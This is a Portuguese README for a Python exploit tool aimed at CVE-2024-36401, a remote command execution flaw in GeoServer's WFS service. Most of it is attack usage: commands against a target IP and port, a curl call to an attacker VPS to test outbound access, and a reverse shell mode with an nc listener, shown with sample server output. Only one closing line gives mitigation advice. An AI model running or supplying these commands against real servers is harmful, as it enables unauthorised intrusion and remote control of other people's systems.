
Um exploit em Python para 'GeoServer'
CVE-2024-36401 é uma vulnerabilidade de execução remota de comandos no GeoServer, onde um atacante pode executar comandos arbitrários sem autorização ao construir solicitações WFS (Web Feature Service) específicas.
pip install requestsEsta ferramenta suporta dois modos de uso: modo cmd (execução direta de comandos) e modo reverse (estabelecimento de shell reversa).
Supondo que o endereço VPS seja 111.46.112.85, use o modo para executar o comando curl e testar se o servidor alvo pode acessar a rede externa:
cmdpython exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Método de verificação: Inicie um servidor HTTP no VPS para receber solicitações
# 在 VPS 上执行
python -m http.server 8090
Se receber com sucesso as informações de retorno, verá uma saída semelhante à seguinte:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Use o modo reverse para estabelecer uma conexão de shell reversa com o VPS e porta especificados:
Passo 1: Configure uma porta de escuta no VPS
# 在 VPS 上执行
nc -lvp 6666
Passo 2: Execute a ferramenta de exploração para iniciar a conexão reversa
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
Após a execução, a ferramenta exibirá uma saída semelhante à seguinte:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
Neste momento, se a exploração for bem-sucedida, a escuta nc no VPS receberá uma sessão de shell reversa.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: Modo de execução de comando únicoreverse: Modo de shell reversa<target>: Endereço e porta do servidor alvo, no formato ip:porta<command>: Comando a ser executado no servidor alvo<vps_ip>: Endereço IP do servidor VPS<vps_port>: Número da porta de escuta no VPSEsta vulnerabilidade explora uma falha de segurança no serviço WFS do GeoServer, executando comandos do sistema ao injetar código Java no valueReference. A ferramenta constrói um payload XML contendo código malicioso e o envia para a interface WFS do GeoServer, realizando assim a execução remota de comandos.
/geoserver/wfs para o conteúdo correspondente.Atualize o GeoServer para a versão de segurança oficial mais recente e configure o servidor seguindo as melhores práticas de segurança.